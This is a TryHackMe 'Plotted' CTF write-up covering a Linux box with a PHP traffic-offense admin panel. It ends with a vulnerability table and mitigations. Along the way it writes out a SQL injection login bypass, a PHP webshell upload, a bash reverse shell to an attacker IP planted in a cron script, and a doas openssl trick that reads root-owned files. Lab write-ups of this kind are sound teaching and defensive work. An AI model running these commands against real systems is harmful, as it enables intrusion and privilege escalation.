DEV Community

Yogeshwar Peela
Yogeshwar Peela

Posted on Originally published at exploitnotes.hashnode.dev

TryHackMe: PlottedTMS Writeup

Summary

Plotted is a Linux CTF box hosting a PHP "Traffic Offense Management System" (TOMS) admin panel across two web services (ports 80 and 445). Initial enumeration uncovered decoy files and a leaked SQL database backup exposing weak MD5 password hashes. The web login was bypassed with a classic SQL injection auth bypass, and an arbitrary file upload in the admin panel's logo setting gave remote code execution as www-data. A misconfigured cron job combined with a writable script directory allowed privilege escalation to plot_admin, and a misconfigured doas rule for openssl allowed arbitrary file read as root, recovering the root flag.

1. Reconnaissance

Port scan with rustscan + nmap:

rustscan -a <MACHINE_IP> --ulimit 5000

Open <MACHINE_IP>:80
Open <MACHINE_IP>:22
Open <MACHINE_IP>:445

nmap -A <MACHINE_IP> -p 80,22,445 -oN plottedtms-nmap

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.41 ((Ubuntu))
445/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Enter fullscreen mode Exit fullscreen mode

Both port 80 and port 445 serve HTTP (445 is not SMB here, just Apache on a non-standard port). Both returned the default Apache2 Ubuntu page on /.

2. Web Enumeration - Port 80

Directory brute force with feroxbuster turned up a directory listing and some decoy files:

feroxbuster -u http://<MACHINE_IP>/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,py,js -C 404

200   GET   admin/id_rsa
301   GET   admin => admin/
200   GET   passwd
200   GET   shadow
Enter fullscreen mode Exit fullscreen mode
curl http://<MACHINE_IP>/admin/id_rsa
VHJ1c3QgbWUgaXQgaXMgbm90IHRoaXMgZWFzeS4ubm93IGdldCBiYWNrIHRvIGVudW1lcmF0aW9uIDpE

curl http://<MACHINE_IP>/passwd
bm90IHRoaXMgZWFzeSA6RA==

curl http://<MACHINE_IP>/shadow
bm90IHRoaXMgZWFzeSA6RA==
Enter fullscreen mode Exit fullscreen mode

Decoding the base64:

echo 'VHJ1c3QgbWUgaXQgaXMgbm90IHRoaXMgZWFzeS4ubm93IGdldCBiYWNrIHRvIGVudW1lcmF0aW9uIDpE' | base64 -d
Trust me it is not this easy..now get back to enumeration :D

echo 'bm90IHRoaXMgZWFzeSA6RA==' | base64 -d
not this easy :D
Enter fullscreen mode Exit fullscreen mode

All three files were troll decoys - port 80 was a dead end.

3. Web Enumeration - Port 445

Same brute force against port 445 revealed a much larger PHP application under /management/ (an AdminLTE-based "Traffic Offense Management System"), with directory listing enabled on nearly every subdirectory:

feroxbuster -u http://<MACHINE_IP>:445/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,py,js -C 404

301   GET   management => management/
301   GET   management/classes => management/classes/
301   GET   management/database => management/database/
200   GET   management/admin/login.php
200   GET   management/index.php
...
found:299  errors:4
Enter fullscreen mode Exit fullscreen mode

Notably, /management/database/ had directory listing enabled and exposed a SQL dump:

curl http://<MACHINE_IP>:445/management/database/
...
<a href="traffic_offense_db.sql">traffic_offense_db.sql</a>  10K
Enter fullscreen mode Exit fullscreen mode

4. Database Dump and Credential Cracking

Pulled the dump directly:

curl http://<MACHINE_IP>:445/management/database/traffic_offense_db.sql
Enter fullscreen mode Exit fullscreen mode

Key contents - users table with unsalted MD5 hashes:

INSERT INTO `users` (`id`, `firstname`, `lastname`, `username`, `password`, ...) VALUES
(1, 'Adminstrator', 'Admin', 'admin', '0192023a7bbd73250516f069df18b500', ...),
(9, 'John', 'Smith', 'jsmith', '1254737c076cf867dc53d60a0364f38e', ...);
Enter fullscreen mode Exit fullscreen mode

Cracked with John (specifying the Raw-MD5 format, since the default guess was LM):

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

admin123          (?)
jsmith123         (?)
Enter fullscreen mode Exit fullscreen mode

Tried both creds over SSH for admin and jsmith - both rejected (no valid shell accounts with those passwords). They also failed against the web admin login form directly - this whole hash/cracking path was a dead end, and access to the panel instead required the SQL injection below.

5. SQL Injection Auth Bypass

With the cracked credentials useless against the login form, the next step was testing the form itself, which proved vulnerable to a classic SQL injection auth bypass. Submitting:

  • Username: ' or 1=1-- -
  • Password: any value

logged in as the administrator, confirming the login query was unparameterized and concatenated user input directly into the SQL query.

![Login page with SQLi payload in username field]

This granted access to the TOMS admin dashboard at /management/admin/.

6. Arbitrary File Upload to RCE

With admin access, the Settings > System Logo upload field had no server-side file type validation. Uploading a PHP webshell (shell.php) as the "logo" and then browsing to the dashboard triggered execution of the shell, giving a command execution primitive as the web server user:

www-data@plotted:/$ whoami
www-data
www-data@plotted:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Enter fullscreen mode Exit fullscreen mode

7. Privilege Escalation - www-data to plot_admin (Cron + Writable Script Dir)

Enumeration of cron jobs revealed a job running every minute as plot_admin:

cat /etc/crontab
* * * * * plot_admin /var/www/scripts/backup.sh
Enter fullscreen mode Exit fullscreen mode
cat /var/www/scripts/backup.sh
#!/bin/bash
/usr/bin/rsync -a /var/www/html/management /home/plot_admin/tms_backup
/bin/chmod -R 770 /home/plot_admin/tms_backup/management
Enter fullscreen mode Exit fullscreen mode

The script file itself (-rwxrwxr-- plot_admin plot_admin) was not directly writable by www-data, but the containing directory was:

ls -la /var/www/scripts/
drwxr-xr-x 2 www-data www-data 4096 ... .
-rwxrwxr-- 1 plot_admin plot_admin  141 ... backup.sh
Enter fullscreen mode Exit fullscreen mode

Since /var/www/scripts is owned by www-data with write permission, www-data can remove and recreate files inside it regardless of the individual file's own ownership/permissions. The original script was deleted and replaced with a reverse shell payload:

rm backup.sh
cat > backup.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/<ATTACKER_IP>/4443 0>&1
EOF
chmod +x backup.sh
Enter fullscreen mode Exit fullscreen mode

Within a minute the cron job fired as plot_admin:

penelope listen -p 4443
[+] [New Reverse Shell] => plotted <MACHINE_IP> Linux-x86_64 plot_admin(1001)

plot_admin@plotted:~$ whoami
plot_admin
plot_admin@plotted:~$ id
uid=1001(plot_admin) gid=1001(plot_admin) groups=1001(plot_admin)
plot_admin@plotted:~$ cat user.txt
<REDACTED>
Enter fullscreen mode Exit fullscreen mode

8. Privilege Escalation - plot_admin to root (doas + openssl)

sudo -l failed (no known password for plot_admin). Checked for exploitable SUID binaries next:

find / -perm -4000 2>/dev/null
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/chfn
/usr/bin/fusermount
/usr/bin/at
/usr/bin/chsh
/usr/bin/umount
/usr/bin/doas
/usr/bin/newgrp
/usr/libexec/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
(plus a number of SUID binaries under /snap/core18, /snap/core20, /snap/snapd - all standard snap-packaged binaries)
Enter fullscreen mode Exit fullscreen mode

Nothing exploitable on its own, but /usr/bin/doas stood out as worth checking its config - also confirmed there was no gcc/cc available for compiling exploits. Checking for doas (OpenBSD's sudo alternative) configuration revealed a passwordless rule:

cat /etc/doas.conf
permit nopass plot_admin as root cmd openssl
Enter fullscreen mode Exit fullscreen mode

plot_admin can run openssl as root with no password. Running an interactive shell directly was blocked since only the openssl command is permitted:

doas -u root /bin/sh
doas: Operation not permitted
Enter fullscreen mode Exit fullscreen mode

This is a known GTFOBins technique: openssl enc can be abused to read arbitrary files as root, since enc with no real encryption flags just passes the input through to the output. Used it to exfiltrate the root flag:

doas openssl enc -in /root/root.txt -out /tmp/root.txt
cat /tmp/root.txt
Congratulations on completing this room!

<REDACTED>

Hope you enjoyed the journey!
Enter fullscreen mode Exit fullscreen mode

Confirmed arbitrary root-level file read more generally by dumping /etc/passwd to stdout the same way:

doas openssl enc -in /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
Enter fullscreen mode Exit fullscreen mode

Key Vulnerabilities

# Vulnerability Location Impact
1 Directory listing enabled /admin/ (port 80), /management/* (port 445) Information disclosure
2 Exposed database backup /management/database/traffic_offense_db.sql Leaked password hashes
3 Weak/unsalted MD5 password hashing users table Hashes cracked instantly with rockyou.txt
4 SQL injection in login form /management/admin/login.php Authentication bypass as admin
5 Unrestricted file upload Admin Settings > System Logo Remote code execution as www-data
6 World/owner-writable script directory with root-owned cron job /var/www/scripts/ + /etc/crontab Privilege escalation www-data -> plot_admin
7 Overly permissive doas rule for openssl /etc/doas.conf Arbitrary file read as root -> full root compromise

Attack Chain

Nmap scan (22/80/445)
        |
        v
feroxbuster on :80 --> decoy files (id_rsa/passwd/shadow, all troll strings)
        |
        v
feroxbuster on :445 --> /management/ app + directory listing
        |
        v
Leaked traffic_offense_db.sql --> MD5 password hashes
        |
        v
John the Ripper (rockyou.txt) --> admin123 / jsmith123 (dead end for SSH)
        |
        v
SQLi auth bypass on /management/admin/login.php ( ' or 1=1-- - )
        |
        v
Admin dashboard access
        |
        v
Arbitrary file upload via System Logo setting --> shell.php
        |
        v
RCE as www-data
        |
        v
Cron job (* * * * * plot_admin backup.sh) + writable /var/www/scripts/
        |
        v
Overwrite backup.sh with reverse shell --> shell as plot_admin
        |
        v
user.txt captured
        |
        v
/etc/doas.conf: plot_admin nopass openssl as root
        |
        v
doas openssl enc -in /root/root.txt -out /tmp/root.txt (GTFOBins)
        |
        v
root.txt captured - full compromise
Enter fullscreen mode Exit fullscreen mode

Mitigations

  1. Disable directory listing (Options -Indexes) on all web-accessible directories, and never leave database backups or source trees reachable over HTTP.
  2. Use a strong, salted, slow hashing algorithm (bcrypt/argon2) for stored passwords instead of raw MD5.
  3. Use parameterized queries/prepared statements everywhere user input reaches SQL, especially authentication logic.
  4. Validate and restrict uploaded file types server-side (whitelist extensions/MIME types, store uploads outside the web root or with execution disabled) rather than trusting client-side checks or filenames.
  5. Ensure directories containing root- or privileged-user-owned cron scripts are not writable by lower-privileged service accounts (www-data should not own the parent directory of a script executed by a cron job running as another user).
  6. Scope doas/sudo rules to the minimum necessary; avoid granting nopass access to generic multi-purpose binaries like openssl, find, vim, etc. that are well-known GTFOBins privilege escalation vectors.

Top comments (0)